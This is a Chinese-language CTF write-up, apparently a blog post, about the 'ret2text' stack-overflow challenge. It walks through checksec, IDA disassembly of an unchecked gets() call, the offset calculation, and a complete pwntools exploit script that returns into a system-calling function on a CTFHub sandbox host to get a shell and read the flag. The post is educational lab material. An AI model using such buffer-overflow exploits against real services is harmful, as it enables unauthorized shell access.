首页 > 其他分享 >PWN做题笔记1

PWN做题笔记1

时间:2023-09-17 16:02:41浏览次数:36  
标签:pwntools 笔记 payload pwn host 做题 tmain PWN port

原题在某个名字被51cto屏蔽了的CTF刷题网站,题目为ret2text

题目属于栈溢出

给出了地址和端口,压缩包中有一个二进制程序pwn

file命令可以看到是64位ELF程序,这里pwn是文件名

PWN做题笔记1_ctf

checksec发现没有开启任何安全措施

PWN做题笔记1_pwn_02

程序运行如下:

PWN做题笔记1_二进制安全_03

ida64反汇编,发现gets输入没有边界检查0x70,存在注入:

PWN做题笔记1_pwn_04

secure函数调用了system返回一个服务器里的shell,因此目标是调用这个函数:

PWN做题笔记1_pwn_05

目标是覆盖tmain存储下一指令的位置,地址偏移除了0x70还要约过存放tmain的ebp的一个单元,即再+8,下一指令覆盖为0x4007B8

因此输入:b'A' * 0x78 + p64(0x4007b8)

 同pwntools编写脚本:

from pwn import *
host = 'challenge-ff699f909c1e3503.sandbox.ctfhub.com'
port = 37126

p = connect(host, port)
payload = b'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()

运行获取了服务器中的shell,ls发现flag文件,cat获取flag

PWN做题笔记1_pwn_06

PWN做题笔记1_二进制安全_07

这道题很简单,主要是了解pwn是在干啥,以及如何利用pwntools编写脚本

知识点主要是函数栈结构

标签:pwntools,笔记,payload,pwn,host,做题,tmain,PWN,port
From: https://blog.51cto.com/u_16266850/7502395

相关文章

  • (第二周)第九章学习笔记
    Linux系统设计主要内容本章讨论了I/O库函数,解释了I/O库函数的作用及其相对于系统调用的优势。详细介绍I/O库函数算法,包括fread、fwrite、fclose算法。知识点归纳目录I/O库函数与系统调用I/O库函数算法(1)fread算法(2)fwrite算法(3)fclose算法使用I/O库函数或系统调用I/O......
  • Linux 入门笔记
    一开始对linux总有些抵触,黑黑的命令框不知道如何下手,这次因为工作交接的缘故需要负责之前同事的Node后端部分,node,redis这些都是部署在Linux上的,看了几次运维的同学噼里啪啦的敲命令,黑的白的一闪一闪,我都还没看清楚敲的啥,敬佩之情油然而生。没办法,不能怂啊,于是开始学Linux,先装个虚......
  • HTML+CSS学习笔记
    HTML骨架:(VSCode可以快速生成骨架:在HTML文件(.html)中,!(英文)配合Enter/Tab键)html:整个网页head:网页头部,用来存放给浏览器看的信息,例如CSStitle:网页标题body:网页主体,用来存放给用户看的信息,例如图片、文字 常用标签:1、标题标签:(文字加粗、字号逐渐......
  • 学习笔记2
    关于知识点知识点归纳第九章9.1I/O库函数系统调用是文件操作的基础,但它们只支持数据块的读/写。I/O库函数是一系列文件操作函数,既方便用户使用,又提高了整体效率。9.2I/O库函数与系统调用I/O库函数是封装了系统调用的一组高层函数接口,用于进行输入输出操作。它们提供了一......
  • 学习笔记2
    第9章I/O库函数——教材知识点归纳9.1~9.2系统调用和I/O库函数系统调用:操作系统中,进程以两种不同的方式运行:内核模式(Kmode)和用户模式(Umode)。Umode权限有限,特殊权限的操作需要在Kmode下进行。系统调用(SystemCall)机制允许进程进入Kmode,执行更高权限的操作。系统调用和I/O库函......
  • 《信息安全系统设计与实现》第二周学习笔记
    《信息安全系统设计与实现》第二周学习笔记第九章I/O库函数系统调用函数系统调用系统调用函数open():打开和创建文件read():读文件write():写文件lseek()close()I/O库函数fopen():以指定的形式打开文件fread():从给定流stream读取数据到ptr所指向的数组中fwrit......
  • 《Unix/linux系统编程》教材第9章学习笔记
    结构化教材内容第9章:I/O库函数I/O库函数与系统调用系统调用是文件操作的基础,但它们只支持数据块的读/写。系统调用函数:open()、read()、write()、lseek()、close();I/O库函数:fopen()、fread()、fwrite()、fseek()、fclose();I/O库函数的根都在对应的系统调用函数中,例fopen()......
  • yzy第二次学习笔记
    第九章I/O库函数本章讨论了I/O库函数;结识了I/O库函数的作用及其对于系统调用的优势;使用示例程序来说明I/O库函数和系统调用之间的关系,并解释了他们之间的相似性和基本区别;详细介绍了IO库函数的算法,包括fread、fwrite和fclose的算法,重点介绍了它们与read、write和close系统调......
  • Unix/Linux系统编程学习笔记二
    学习笔记二一、教材知识点总结1.I/O库函数程序(1)fopen()使用字符串表示模式,其中"r"表示READ"w"表示WRITE。它返回一个指向FILE结构体的指针。fopen()首先发出open()系统调用来打开文件,以获取文件描述符编号fd。如果open0系统调用失败,则fopen()会返回一个NULL指针。否则,它会......
  • 学习笔记2
    对于C语言中的文件操作:字符读写:getc:从文件中读取一个字符。putc:将一个字符写入文件。行读写:fgets:从文件中读取一行文本。fputs:将一行文本写入文件。getline:动态地读取一行文本。任意位置读写:fseek:定位文件指针到指定位置。ftell:获取当前文件指针的位置。rew......